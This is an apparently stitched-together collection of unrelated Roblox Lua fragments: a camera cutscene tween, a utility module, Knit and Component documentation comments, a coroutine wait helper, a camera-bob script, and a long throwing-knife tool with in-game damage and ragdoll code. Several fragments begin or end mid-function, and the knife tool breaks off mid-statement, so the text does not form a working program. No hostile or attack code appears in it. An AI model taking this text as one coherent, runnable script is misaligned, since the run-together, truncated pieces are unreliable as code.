local TweenService = game:GetService("TweenService") local camera = workspace.Camera function tween(part1, part2, cutsceneTime) local tweeninfo = TweenInfo.new( cutsceneTime, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0 ) camera.CameraType = Enum.CameraType.Scriptable camera.CFrame = part1.CFrame local tween = TweenService:Create(camera, tweeninfo, {CFrame = part2.CFrame}) tween:Play() wait(cutsceneTime) camera.CameraType = Enum.CameraType.Custom end game.ReplicatedStorage.Cutscene.OnClientEvent:Connect(function() game.Workspace.Test1.Locked = true tween(game.Workspace.Test1, game.Workspace.Test2, 1) tween(game.Workspace.Test2, game.Workspace.Test3, 10) end)
--Made by Luckymaxer
Debris = game:GetService("Debris") ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Ray", "Bullet", "ParticlePart"} Functions = { CreateConfiguration = (function(Configurations, Table) for i, v in pairs(Configurations:GetChildren()) do if string.find(v.ClassName, "Value") then Table[v.Name] = v:Clone() elseif v:IsA("Folder") or v:IsA("Configuration") then Table[v.Name] = Functions.CreateConfiguration(v, Table) end end return Table end), FindCharacterAncestor = (function(Object) if Object and Object ~= game:GetService("Workspace") then local Humanoid = Object:FindFirstChild("Humanoid") if Humanoid then return Object, Humanoid else return Functions.FindCharacterAncestor(Object.Parent) end end return nil end), CheckTableForString = (function(Table, String) for i, v in pairs(Table) do if string.lower(v) == string.lower(String) then return true end end return false end), CheckIntangible = (function(Hit) if Hit and Hit.Parent then if Functions.CheckTableForString(ProjectileNames, Hit.Name) then return true end local ObjectParent = Hit.Parent local Character = ObjectParent.Parent local Humanoid = Character:FindFirstChild("Humanoid") if Humanoid and Humanoid.Health > 0 and ObjectParent:IsA("Hat") then return true end end return false end), CastRay = (function(StartPos, Vec, Length, Ignore, DelayIfHit) local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore) if RayHit and Functions.CheckIntangible(RayHit) then if DelayIfHit then wait() end RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit) end return RayHit, RayPos, RayNormal end), IsTeamMate = (function(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end), TagHumanoid = (function(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end), UntagHumanoid = (function(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end), CheckTableForString = (function(Table, String) for i, v in pairs(Table) do if string.lower(v) == string.lower(String) then return true end end return false end), Clamp = (function(Number, Min, Max) return math.max(math.min(Max, Number), Min) end), GetPercentage = (function(Start, End, Number) return (((Number - Start) / (End - Start)) * 100) end), Round = (function(Number, RoundDecimal) local WholeNumber, Decimal = math.modf(Number) return ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number))) end), } return Functions
--[=[ @tag Component Class `Stop` is called when the component is stopped. This occurs either when the bound instance is removed from one of the whitelisted ancestors _or_ when the matching tag is removed from the instance. This also means that the instance _might_ be destroyed, and thus it is not safe to continue using the bound instance (e.g. `self.Instance`) any longer. This should be used to clean up the component. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) function MyComponent:Stop() self.SomeStuff:Destroy() end ``` ]=]
function Component:Stop() end
--[[ Create the touched connection. ]]
function BaseSystem:_connectTouch() self._connections.onTouched = self._model.PrimaryPart.Touched:Connect( function(otherPart) onTouched(self, otherPart) end ) end
-- Dont touch
while wait() do script.Parent.Rotation = script.Parent.Rotation + 10 if script.Parent.Rotation == 360 then script.Parent.Rotation = 0 end end
-- put in: StarterPlayer > StarterCharacterScript
local char = script.Parent local human = char:FindFirstChildOfClass("Humanoid") or char:WaitForChild("Humanoid") local cam = workspace.CurrentCamera local humspeed = 0 if not human then return end human.Running:Connect(function(sp) humspeed = sp end) game:GetService("RunService").RenderStepped:Connect(function() local ticked = tick() if human.MoveDirection.Magnitude > 0 then cam.CFrame = cam.CFrame:Lerp(cam.CFrame * CFrame.Angles(math.rad(math.sin(ticked * humspeed) * 1), math.rad(math.sin(ticked * humspeed)), math.rad(math.sin(ticked * humspeed) * 2)), humspeed / 100) else cam.CFrame = cam.CFrame:Lerp(cam.CFrame * CFrame.Angles(math.rad(math.sin(ticked * 1) * 0.90), 0, 0), 0.0) end end)
--[[ Takes a list of callbacks, and runs them as separate coroutines, yielding the current thread until all the coroutines are dead. This function yields until either all callbacks have returned, or a callback has errored. Returns success, result. Exposes similar functionality to Promise.All in JS, or WaitGroups in Go. --]]
local function checkIfOtherThreadsAreDead(threads: { thread }) for _, thread in ipairs(threads) do if thread ~= coroutine.running() then if coroutine.status(thread) ~= "dead" then return false end end end return true end type Callback = (...any) -> ...any local function waitAllAsync(callbacks: { Callback }): (boolean, ...any) local baseThread = coroutine.running() local threads: { thread } = {} local hasErrored = false for _, callback in ipairs(callbacks) do local thisThread = coroutine.create(function() local success, result = pcall(callback) if success and not hasErrored then -- If this callback has completed, all other threads are dead, and we haven't already resumed on an error then we are good to proceed! if checkIfOtherThreadsAreDead(threads) then task.spawn(baseThread, true) end elseif not hasErrored then hasErrored = true task.spawn(baseThread, false, result) end end) table.insert(threads, thisThread) -- Use task.defer so this callback can't return before the baseThread has yielded task.defer(thisThread) end if #threads > 0 then -- We yield the main thread here so it can be resumed once the callbacks have completed return coroutine.yield(baseThread) else return true end end return waitAllAsync
-- print("Keyframe : ".. FrameName)
local RepeatAnim = StopToolAnimations() PlayToolAnimation(RepeatAnim, 0, Humanoid) end end function PlayToolAnimation(AnimName, TransitionTime, Humanoid) if AnimName ~= ToolAnimName then if ToolAnimTrack then ToolAnimTrack:Stop() ToolAnimTrack:Destroy() TransitionTime = 0 end local Roll = math.random(1, AnimTable[AnimName].TotalWeight) local OrigRoll = Roll local Index = 1 while Roll > AnimTable[AnimName][Index].Weight do Roll = Roll - AnimTable[AnimName][Index].Weight Index = Index + 1 end
--------LEFT DOOR --------
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(1023) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--[=[ @return SIGNAL_MARKER Returns a marker that will transform the current key into a RemoteSignal once the service is created. Should only be called within the Client table of a service. See [RemoteSignal](https://sleitnick.github.io/RbxUtil/api/RemoteSignal) documentation for more info. ```lua local MyService = Knit.CreateService { Name = "MyService"; Client = { -- Create the signal marker, which will turn into a -- RemoteSignal when Knit.Start() is called: MySignal = Knit.CreateSignal() } } function MyService:KnitInit() -- Connect to the signal: self.Client.MySignal:Connect(function(player, ...) end) end ``` ]=]
function KnitServer.CreateSignal() return SIGNAL_MARKER end
-- Set local variables
local player = players.LocalPlayer local character = player.Character or player.CharacterAdded:wait() local humanoid = character.Humanoid
-- From TransparencyController
function CameraUtils.Round(num, places) local decimalPivot = 10^places return math.floor(num * decimalPivot + 0.5) / decimalPivot end function CameraUtils.IsFinite(val) return val == val and val ~= math.huge and val ~= -math.huge end function CameraUtils.IsFiniteVector3(vec3) return CameraUtils.IsFinite(vec3.X) and CameraUtils.IsFinite(vec3.Y) and CameraUtils.IsFinite(vec3.Z) end
--
function damage() for i,v in pairs(workspace:GetDescendants()) do if v.ClassName == "Model" then local head = v:findFirstChild("Head") local humanoid = v:findFirstChildOfClass("Humanoid") local torso = v:findFirstChild("Torso") local ragdolled = v:findFirstChild("ragdolledknife") if humanoid and head and not ragdolled then if (head.Position - handle.Position).magnitude < 2 and v ~= character and humanoid.Health > 0 then stabsound.PlaybackSpeed = 1+(math.random(-4,4)/10) stabsound:Play() hitmarkersound:Play() local dmg = math.random(20,50) if humanoid.Health <= dmg then humanoid.Health = 0 ragdollkill(v) end humanoid.Health = humanoid.Health - dmg local ragdolledknife = Instance.new("BoolValue", v) ragdolledknife.Name = "ragdolledknife" local velocity = Instance.new("BodyVelocity", head) velocity.MaxForce = Vector3.new(math.huge,0,math.huge) velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * math.random(5,15) humanoid.PlatformStand = true coroutine.wrap(function() wait(1) humanoid.PlatformStand = false end)() game.Debris:AddItem(ragdolledknife, 1) game.Debris:AddItem(velocity, 0.2) if torso then coroutine.wrap(function() humanoid = v:WaitForChild("Humanoid") local ragdoll = v if ragdoll:findFirstChild("Right Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Arm") glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider.Name = "LimbCollider" local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Right Shoulder") then local limbclone = ragdoll.Torso:findFirstChild("Right Shoulder"):Clone() ragdoll.Torso:findFirstChild("Right Shoulder"):destroy() coroutine.wrap(function() wait(1) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Right Arm"] end)() end wait(1) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Left Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Arm") glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Left Shoulder") then local limbclone = ragdoll.Torso:findFirstChild("Left Shoulder"):Clone() ragdoll.Torso:findFirstChild("Left Shoulder"):destroy() coroutine.wrap(function() wait(1) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Left Arm"] end)() end wait(1) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Left Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Leg") glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg")) limbcollider.Size = Vector3.new(1.5,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Left Hip") then local limbclone = ragdoll.Torso:findFirstChild("Left Hip"):Clone() ragdoll.Torso:findFirstChild("Left Hip"):destroy() coroutine.wrap(function() wait(1) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Left Leg"] end)() end wait(1) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Right Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Leg") glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg")) limbcollider.Size = Vector3.new(1.5,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Right Hip") then local limbclone = ragdoll.Torso:findFirstChild("Right Hip"):Clone() ragdoll.Torso:findFirstChild("Right Hip"):destroy() coroutine.wrap(function() wait(1) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Right Leg"] end)() end wait(1) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end end)() end end end end end end function ragdollplr(v) local head = v.Head local torso = v:findFirstChild("Torso") local humanoid = v:findFirstChildOfClass("Humanoid") stabsound.PlaybackSpeed = 1+(math.random(-4,4)/10) stabsound:Play() hitmarkersound:Play() local dmg = math.random(20,50) if humanoid.Health <= dmg then humanoid.Health = 0 ragdollkill(v) end humanoid.Health = humanoid.Health - dmg local ragdolledknife = Instance.new("BoolValue", v) ragdolledknife.Name = "ragdolledknife" local velocity = Instance.new("BodyVelocity", head) velocity.MaxForce = Vector3.new(math.huge,0,math.huge) velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * math.random(5,15) humanoid.PlatformStand = true coroutine.wrap(function() wait(1) humanoid.PlatformStand = false end)() game.Debris:AddItem(ragdolledknife, 1) game.Debris:AddItem(velocity, 0.2) if torso then coroutine.wrap(function() humanoid = v:WaitForChild("Humanoid") local ragdoll = v if ragdoll:findFirstChild("Right Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Arm") glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider.Name = "LimbCollider" local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Right Shoulder") then local limbclone = ragdoll.Torso:findFirstChild("Right Shoulder"):Clone() ragdoll.Torso:findFirstChild("Right Shoulder"):destroy() coroutine.wrap(function() wait(1) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Right Arm"] end)() end wait(1) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Left Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Arm") glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Left Shoulder") then local limbclone = ragdoll.Torso:findFirstChild("Left Shoulder"):Clone() ragdoll.Torso:findFirstChild("Left Shoulder"):destroy() coroutine.wrap(function() wait(1) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Left Arm"] end)() end wait(1) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Left Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Leg") glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg")) limbcollider.Size = Vector3.new(1.5,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Left Hip") then local limbclone = ragdoll.Torso:findFirstChild("Left Hip"):Clone() ragdoll.Torso:findFirstChild("Left Hip"):destroy() coroutine.wrap(function() wait(1) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Left Leg"] end)() end wait(1) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end if ragdoll:findFirstChild("Right Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Leg") glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg")) limbcollider.Size = Vector3.new(1.5,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0) coroutine.wrap(function() if ragdoll.Torso:findFirstChild("Right Hip") then local limbclone = ragdoll.Torso:findFirstChild("Right Hip"):Clone() ragdoll.Torso:findFirstChild("Right Hip"):destroy() coroutine.wrap(function() wait(1) limbclone.Parent = ragdoll.Torso limbclone.Part0 = ragdoll.Torso limbclone.Part1 = ragdoll["Right Leg"] end)() end wait(1) glue:destroy() limbcollider:destroy() limbcolliderweld:destroy() end)() end end)() end end tool.Activated:connect(function() if owner ~= nil and character ~= nil and canattack then cananimate = false canattack = false local rightarmweld = character.Torso:findFirstChild("RightArmWeldknif") local leftarmweld = character.Torso:findFirstChild("LeftArmWeldknif") local headweld = character.Torso:findFirstChild("HeadWeldknif") local rootweld = character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldknif") swooshsound:Play() swooshsound.PlaybackSpeed = 1+(math.random(-4,4)/20) trail.Enabled = true if swingnum == 0 then swingnum = 1 for i = 1,21 do damage() headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,math.sin(i/4)*2,0) * CFrame.new(0,0.5,0),0.2) tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(math.sin(-i/4),0,0),0.2) rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(math.sin(i/4)/15,math.sin(-i/4)*2,0), 0.2) leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(i/4)*0.6,0,math.sin(i/4)/1.5) * CFrame.new(0,-0.5,0), 0.2) rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(-i/4)*1.8,0,math.rad(30)+math.sin(-i/4)) * CFrame.new(0,-0.5,0), 0.2) step:wait() end spawn(spinanimation) elseif swingnum == 1 then swingnum = 2 local howup = 0 for i = 1,21 do howup = howup + 1 damage() headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,math.sin(i/4)*2.5,0) * CFrame.new(0,0.5,0),0.2) tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(math.sin(-i/4),0,0),0.2) rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(math.sin(i/4)/15,math.sin(-i/4)*2.5,0), 0.2) leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,-math.pi/4) * CFrame.new(0,-0.5,0), 0.2) rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5-(howup/30),0.5,-(howup/15)) * CFrame.fromEulerAnglesXYZ(0,-math.pi+howup/6,-math.pi/3-(howup/30)) * CFrame.new(0,-0.5,0), 0.2) step:wait() end damage() spawn(spinanimation) elseif swingnum == 2 then swingnum = 0 for i = 1,21 do damage() headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,math.sin(i/3)/2,0) * CFrame.new(0,0.5,0),0.2) tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(math.pi,0,0),0.2) rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(math.sin(i/3)/10,math.sin(-i/3)/2,0), 0.2) leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(i/3.5)*2,0,0) * CFrame.new(0,-0.7,0), 0.2) rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(i/3.5)*2+math.pi,0,0) * CFrame.new(0,-1,0), 0.2) step:wait() end trail.Enabled = false end if equipped then cananimate = true end if not pressed then canattack = true else canthrow = true cananimate = false local throwsine = 0 while pressed and equipped and not cananimate and step:wait() do throwsine = throwsine + 1 headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,math.pi/3+math.sin(throwsine/20)/40,0) * CFrame.new(0,0.5,0),0.2) tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(-math.rad(30),0,0),0.2) rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(math.sin(throwsine/20)/40,-math.pi/3+math.sin(-throwsine/20)/40,0), 0.2) leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(40)+math.sin(throwsine/20)/15,0,0) * CFrame.new(0,-0.5,0), 0.2) rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(throwsine/20)/20+math.pi,0,0) * CFrame.new(0,-0.7,0), 0.2) end if not equipped then handle.Transparency = 0 throwpos = nil cananimate = true canattack = true return end swooshsound.PlaybackSpeed = 1+(math.random(-1,4)/10) swooshsound:Play() for i = 1,5 do headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/3,0) * CFrame.new(0,0.5,0),0.2) tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(-math.rad(30),0,0),0.2) rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(-math.rad(10),math.pi/3,0), 0.2) leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-40),0,0) * CFrame.new(0,-0.5,0), 0.2) rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(10),0,0) * CFrame.new(0,-0.5,0), 0.2) step:wait() end handle.Transparency = 1 local knifeclone = Instance.new("Part", character.Head) knifeclone.Size = Vector3.new(0.15, 1.9, 0.7) knifeclone.CanCollide = false knifeclone.Anchored = true knifeclone.Name = "ThrowKnife" knifeclone.CFrame = CFrame.new(handle.Position, throwpos) local mesh = Instance.new("SpecialMesh", knifeclone) mesh.TextureId = handle:findFirstChildOfClass("SpecialMesh").TextureId mesh.MeshId = "http://www.roblox.com/asset/?id=121944778" mesh.Scale = Vector3.new(0.7,0.7,0.7) coroutine.wrap(function() local rotatevalue = 0 local rayhit = false local lastpos = nil local throwtime = 500 local gravitypower = 0 local lasttorsopos = character.Torso.CFrame while step:wait() and not rayhit do throwtime = throwtime - 1 if throwtime == 0 then knifeclone:Destroy() break end if rotatevalue >= 360 then rotatevalue = 0 end knifeclone.CFrame = knifeclone.CFrame * CFrame.fromEulerAnglesXYZ(math.rad(rotatevalue),0,0) rotatevalue = rotatevalue + 20 local ignorelist = {handle, knifeclone, character} for q,w in pairs(workspace:GetDescendants()) do if w.Name == "ThrowKnife" then table.insert(ignorelist, w) end end local ray = Ray.new(knifeclone.Position, knifeclone.CFrame.lookVector*3) local ray1 = Ray.new(knifeclone.Position, knifeclone.CFrame.upVector*((-0.25)+(-gravitypower))) local hitt, pos = workspace:FindPartOnRayWithIgnoreList(ray, ignorelist) local hitt1, pos1 = workspace:FindPartOnRayWithIgnoreList(ray1, ignorelist) if hitt then --if hitt.Name ~= "ThrowKnife" then rayhit = true knifeclone.CFrame = CFrame.new(pos) if lastpos ~= nil then knifeclone.CFrame = CFrame.new(knifeclone.Position, lastpos.p) else knifeclone.CFrame = CFrame.new(knifeclone.Position, lasttorsopos.p) end knifeclone.CFrame = knifeclone.CFrame * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,math.pi) local weldknife = Instance.new("Weld", knifeclone) weldknife.C0 = hitt.CFrame:toObjectSpace(knifeclone.CFrame) weldknife.Part0 = hitt weldknife.Name = "ouch_weld" weldknife.Part1 = knifeclone knifeclone.Anchored = false local hithumanoid = false coroutine.wrap(function() knifeclone.Parent = hitt wait() hitsound.Parent = knifeclone hitsound.PlaybackSpeed = 3.2+(math.random(-1,4)/10) hitsound:Play() wait(hitsound.TimeLength) hitsound.Parent = handle end)() if hitt.Parent:findFirstChildOfClass("Humanoid") then hithumanoid = true coroutine.wrap(function() wait() stabsound.Parent = knifeclone stabsound.PlaybackSpeed = 1+(math.random(-1,4)/10) stabsound:Play() wait(stabsound.TimeLength) stabsound.Parent = handle end)() hitt.Parent:findFirstChildOfClass("Humanoid").Health = hitt.Parent:findFirstChildOfClass("Humanoid").Health - math.random(50,100) ragdollplr(hitt.Parent) elseif hitt.Parent.ClassName == "Accessory" or hitt.Parent.ClassName == "Hat" then if hitt.Parent.Parent:findFirstChildOfClass("Humanoid") then hithumanoid = true coroutine.wrap(function() wait() stabsound.Parent = knifeclone stabsound.PlaybackSpeed = 1+(math.random(-1,4)/10) stabsound:Play() wait(stabsound.TimeLength) stabsound.Parent = handle end)() hitt.Parent.Parent:findFirstChildOfClass("Humanoid").Health = hitt.Parent.Parent:findFirstChildOfClass("Humanoid").Health - math.random(50,100) ragdollplr(hitt.Parent.Parent) end end if not hithumanoid then game.Debris:AddItem(knifeclone, 30) end --end elseif hitt1 then --if hitt1.Name ~= "ThrowKnife" then rayhit = true knifeclone.CFrame = CFrame.new(pos1) knifeclone.CFrame = CFrame.new(knifeclone.Position, lasttorsopos.p) knifeclone.CFrame = knifeclone.CFrame * CFrame.fromEulerAnglesXYZ(math.pi/1.5,math.pi,0) local weldknife = Instance.new("Weld", knifeclone) weldknife.C0 = hitt1.CFrame:toObjectSpace(knifeclone.CFrame) weldknife.Part0 = hitt1 weldknife.Name = "ouch_weld" weldknife.Part1 = knifeclone knifeclone.Anchored = false local hithumanoid = false coroutine.wrap(function() knifeclone.Parent = hitt1 wait() hitsound.Parent = knifeclone hitsound.PlaybackSpeed = 3.2+(math.random(-1,4)/10) hitsound:Play() wait(hitsound.TimeLength) hitsound.Parent = handle end)() if hitt1.Parent:findFirstChildOfClass("Humanoid") then hithumanoid = true coroutine.wrap(function() wait() stabsound.Parent = knifeclone stabsound.PlaybackSpeed = 1+(math.random(-1,4)/10) stabsound:Play() 